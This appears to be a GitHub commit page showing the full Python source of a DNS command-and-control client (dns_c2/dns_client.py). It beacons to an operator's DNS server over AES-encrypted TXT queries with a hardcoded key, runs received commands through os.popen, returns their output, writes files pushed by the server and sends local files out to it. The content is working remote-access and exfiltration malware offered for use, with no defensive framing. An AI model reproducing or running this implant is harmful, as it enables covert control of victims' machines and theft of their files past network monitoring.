Skip to content

Commit 3e9b0e4

Browse files
authored
Add files via upload
1 parent a2d62e9 commit 3e9b0e4

File tree

4 files changed

+478
-0
lines changed

4 files changed

+478
-0
lines changed

dns_c2/dns_client.py

+192
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
import dns.resolver
2+
import re
3+
import base64
4+
from Crypto.Cipher import AES
5+
import os
6+
import binascii
7+
8+
class Client:
9+
def __init__(self,host,port):
10+
self.host=host
11+
self.port=port
12+
13+
def beikon(self):
14+
hk={'cmd':self.cmd,'upload':self.upload,'download':self.download}
15+
demo='demo'
16+
demo=self.jiami(demo)
17+
bbc=self.fs(demo)
18+
kk=self.zz(bbc)
19+
jm=self.jiemi(kk.encode('utf-8'))
20+
if jm:
21+
while True:
22+
try:
23+
g='ok'
24+
demo = self.jiami(g)
25+
bbc = self.fs(demo)
26+
kk = self.zz(bbc)
27+
jm = self.jiemi(kk.encode('utf-8'))
28+
if jm in hk:
29+
hk[jm]()
30+
except:
31+
pass
32+
33+
34+
def fs(self,data):
35+
dns_query = dns.message.make_query("{}".format(data), dns.rdatatype.TXT)
36+
response = dns.query.udp(dns_query, self.host, port=int(self.port))
37+
a=response.to_text()
38+
return a
39+
40+
def zz(self,data):
41+
sb=re.findall('.* 60',str(data))
42+
return str(sb[0]).replace('. 60','').replace('.com','')
43+
44+
def add_to_16(self,text):
45+
while len(text) % 16 != 0:
46+
text += '\0'
47+
return str.encode(text)
48+
49+
def jiami(self,data):
50+
key='DD194FB8BA97C8BFDA635E3CE76809A2'.encode('utf-8')
51+
text=bytes.decode(base64.b64encode(str(data).encode('utf-8')))
52+
aes=AES.new(key,AES.MODE_ECB)
53+
encrypd=str(base64.encodebytes(aes.encrypt(self.add_to_16(text))),encoding='utf-8').replace('\n','')
54+
return encrypd
55+
56+
def jiemi(self,data):
57+
key = 'DD194FB8BA97C8BFDA635E3CE76809A2'.encode('utf-8')
58+
aes=AES.new(key,AES.MODE_ECB)
59+
decode_encrypd = aes.decrypt(base64.decodebytes(data))
60+
return bytes.decode(base64.b64decode(bytes.decode(decode_encrypd).rstrip('\0')))
61+
62+
def cmd(self):
63+
while True:
64+
g='cmd'
65+
demo = self.jiami(g)
66+
bbc = self.fs(demo)
67+
kk = self.zz(bbc)
68+
jm = self.jiemi(kk.encode('utf-8'))
69+
if jm == 'exit':
70+
break
71+
else:
72+
zx=os.popen(jm)
73+
if zx:
74+
g=zx.read()
75+
demos = self.jiami(g)
76+
if len(demos)<64:
77+
if len(demos)==0:
78+
demos=self.jiami(jm)
79+
bbc = self.fs(demos)
80+
kk = self.zz(bbc)
81+
jm = self.jiemi(kk.encode('utf-8'))
82+
if jm:
83+
continue
84+
else:
85+
g='long'
86+
demo = self.jiami(g)
87+
bbc = self.fs(demo)
88+
kk = self.zz(bbc)
89+
jm = self.jiemi(kk.encode('utf-8'))
90+
if jm:
91+
g = len(demos)
92+
demo = self.jiami(g)
93+
bbc = self.fs(demo)
94+
kk = self.zz(bbc)
95+
jm = self.jiemi(kk.encode('utf-8'))
96+
if jm:
97+
b=0
98+
e=32
99+
for u in demos:
100+
g=demos[b:e]
101+
b+=32
102+
e+=32
103+
bbc=self.fs(g)
104+
kk = self.zz(bbc)
105+
if kk=='break':
106+
break
107+
108+
109+
110+
111+
112+
def upload(self):
113+
g = 'upload'
114+
names=''
115+
changdu=0
116+
data=''
117+
demo = self.jiami(g)
118+
bbc = self.fs(demo)
119+
kk = self.zz(bbc)
120+
if str(kk).isdigit()==True:
121+
changdu+=int(kk)
122+
while True:
123+
demo = self.jiami('jx')
124+
bbc = self.fs(demo)
125+
zz=self.zz(bbc)
126+
data+=zz
127+
if len(data)==changdu:
128+
print(data)
129+
demo = self.jiami('break')
130+
self.fs(demo)
131+
break
132+
133+
do=self.jiami('name')
134+
bc=self.fs(do)
135+
zz=self.zz(bc)
136+
jbb=self.jiemi(zz.encode('utf-8'))
137+
names+=jbb
138+
ju=self.jiemi(data.encode('utf-8'))
139+
xj=open(r'{}'.format(names),'wb')
140+
xj.write(binascii.unhexlify(ju.encode('ascii')))
141+
xj.close()
142+
143+
if os.path.exists(r'{}'.format(names)):
144+
do=self.jiami('cg')
145+
bk=self.fs(do)
146+
else:
147+
do = self.jiami('bcg')
148+
self.fs(do)
149+
150+
elif str(kk)=='fuck':
151+
pass
152+
153+
def download(self):
154+
d='download'
155+
demo = self.jiami(d)
156+
bbc = self.fs(demo)
157+
kk = self.zz(bbc)
158+
changdu=0
159+
a=0
160+
b=32
161+
jm=self.jiemi(kk.encode('utf-8'))
162+
print(jm)
163+
if os.path.exists(jm):
164+
dk=open(jm,'rb')
165+
jm = self.jiami(binascii.hexlify(dk.read()).decode('ascii'))
166+
changdu+=len(jm)
167+
print(changdu)
168+
cd= self.fs(changdu)
169+
zz=self.zz(cd)
170+
if zz:
171+
for x in jm:
172+
print(1)
173+
v=self.fs(jm[a:b])
174+
jmb=self.zz(v)
175+
if jmb=='break':
176+
break
177+
a+=32
178+
b+=32
179+
180+
else:
181+
self.fs('bcz')
182+
183+
184+
185+
186+
187+
188+
if __name__ == '__main__':
189+
SERVER = "192.168.3.75" # your DNS server
190+
PORT = 53 # DNS server port
191+
obk=Client(host=SERVER,port=PORT)
192+
obk.beikon()

0 commit comments

Comments
 (0)